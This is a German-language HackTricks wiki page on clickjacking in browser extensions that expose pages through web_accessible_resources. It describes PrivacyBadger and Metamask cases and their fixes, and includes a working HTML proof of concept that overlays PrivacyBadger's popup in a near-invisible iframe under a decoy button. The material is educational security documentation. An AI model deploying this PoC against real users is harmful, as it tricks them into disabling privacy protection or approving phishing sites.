mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
99 lines
5.5 KiB
Markdown
99 lines
5.5 KiB
Markdown
# BrowExt - ClickJacking
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
## Grundinformationen
|
|
|
|
Diese Seite wird eine ClickJacking-Sicherheitsanfälligkeit in einer Browsererweiterung ausnutzen.\
|
|
Wenn Sie nicht wissen, was ClickJacking ist, überprüfen Sie:
|
|
|
|
|
|
{{#ref}}
|
|
../clickjacking.md
|
|
{{#endref}}
|
|
|
|
Erweiterungen enthalten die Datei **`manifest.json`** und diese JSON-Datei hat ein Feld `web_accessible_resources`. Hier ist, was [die Chrome-Dokumentation](https://developer.chrome.com/extensions/manifest/web_accessible_resources) darüber sagt:
|
|
|
|
> Diese Ressourcen wären dann über die URL **`chrome-extension://[PACKAGE ID]/[PATH]`** in einer Webseite verfügbar, die mit der **`extension.getURL method`** generiert werden kann. Erlaubte Ressourcen werden mit entsprechenden CORS-Headern bereitgestellt, sodass sie über Mechanismen wie XHR verfügbar sind.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
|
|
|
|
Die **`web_accessible_resources`** in einer Browsererweiterung sind nicht nur über das Web zugänglich; sie funktionieren auch mit den inhärenten Berechtigungen der Erweiterung. Das bedeutet, dass sie die Fähigkeit haben zu:
|
|
|
|
- Den Zustand der Erweiterung zu ändern
|
|
- Zusätzliche Ressourcen zu laden
|
|
- In gewissem Maße mit dem Browser zu interagieren
|
|
|
|
Diese Funktion stellt jedoch ein Sicherheitsrisiko dar. Wenn eine Ressource innerhalb von **`web_accessible_resources`** eine wesentliche Funktionalität hat, könnte ein Angreifer diese Ressource potenziell in eine externe Webseite einbetten. Unwissende Benutzer, die diese Seite besuchen, könnten versehentlich diese eingebettete Ressource aktivieren. Eine solche Aktivierung könnte je nach Berechtigungen und Fähigkeiten der Ressourcen der Erweiterung zu unbeabsichtigten Konsequenzen führen.
|
|
|
|
## PrivacyBadger Beispiel
|
|
|
|
In der Erweiterung PrivacyBadger wurde eine Sicherheitsanfälligkeit identifiziert, die sich auf das Verzeichnis `skin/` bezieht, das als `web_accessible_resources` in folgender Weise deklariert wurde (Überprüfen Sie den ursprünglichen [Blogbeitrag](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
|
|
```json
|
|
"web_accessible_resources": [
|
|
"skin/*",
|
|
"icons/*"
|
|
]
|
|
```
|
|
Diese Konfiguration führte zu einem potenziellen Sicherheitsproblem. Insbesondere könnte die Datei `skin/popup.html`, die bei Interaktion mit dem PrivacyBadger-Icon im Browser gerendert wird, innerhalb eines `iframe` eingebettet werden. Diese Einbettung könnte ausgenutzt werden, um Benutzer zu täuschen, indem sie unbeabsichtigt auf "Disable PrivacyBadger for this Website" klicken. Eine solche Aktion würde die Privatsphäre des Benutzers gefährden, indem der Schutz von PrivacyBadger deaktiviert wird und der Benutzer potenziell verstärktem Tracking ausgesetzt wird. Eine visuelle Demonstration dieses Exploits kann in einem ClickJacking-Video-Beispiel angesehen werden, das unter [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm) bereitgestellt wird.
|
|
|
|
Um diese Schwachstelle zu beheben, wurde eine einfache Lösung implementiert: die Entfernung von `/skin/*` aus der Liste der `web_accessible_resources`. Diese Änderung minderte effektiv das Risiko, indem sichergestellt wurde, dass der Inhalt des Verzeichnisses `skin/` nicht über webzugängliche Ressourcen zugegriffen oder manipuliert werden konnte.
|
|
|
|
Die Lösung war einfach: **remove `/skin/*` from the `web_accessible_resources`**.
|
|
|
|
### PoC
|
|
```html
|
|
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
|
|
|
|
<style>
|
|
iframe {
|
|
width: 430px;
|
|
height: 300px;
|
|
opacity: 0.01;
|
|
float: top;
|
|
position: absolute;
|
|
}
|
|
|
|
#stuff {
|
|
float: top;
|
|
position: absolute;
|
|
}
|
|
|
|
button {
|
|
float: top;
|
|
position: absolute;
|
|
top: 168px;
|
|
left: 100px;
|
|
}
|
|
</style>
|
|
|
|
<div id="stuff">
|
|
<h1>Click the button</h1>
|
|
<button id="button">click me</button>
|
|
</div>
|
|
|
|
<iframe
|
|
src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
|
|
</iframe>
|
|
```
|
|
## Metamask Beispiel
|
|
|
|
Ein [**Blogbeitrag über ein ClickJacking in Metamask ist hier zu finden**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In diesem Fall hat Metamask die Schwachstelle behoben, indem überprüft wurde, dass das Protokoll, das zum Zugriff verwendet wurde, **`https:`** oder **`http:`** (nicht **`chrome:`** zum Beispiel) war:
|
|
|
|
<figure><img src="../../images/image (21).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Ein weiteres ClickJacking, das** in der Metamask-Erweiterung behoben wurde, war, dass Benutzer **Klicken, um auf die Whitelist zu setzen** konnten, wenn eine Seite verdächtig war, Phishing zu sein, aufgrund von `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Da diese Seite anfällig für Clickjacking war, konnte ein Angreifer sie missbrauchen, indem er etwas Normales zeigte, um das Opfer dazu zu bringen, es ohne Notice auf die Whitelist zu setzen, und dann zurück zur Phishing-Seite zu gehen, die dann auf die Whitelist gesetzt wird.
|
|
|
|
## Steam Inventory Helper Beispiel
|
|
|
|
Überprüfen Sie die folgende Seite, um zu sehen, wie ein **XSS** in einer Browsererweiterung mit einer **ClickJacking**-Schwachstelle verknüpft wurde:
|
|
|
|
{{#ref}}
|
|
browext-xss-example.md
|
|
{{#endref}}
|
|
|
|
## Referenzen
|
|
|
|
- [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
|
|
- [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|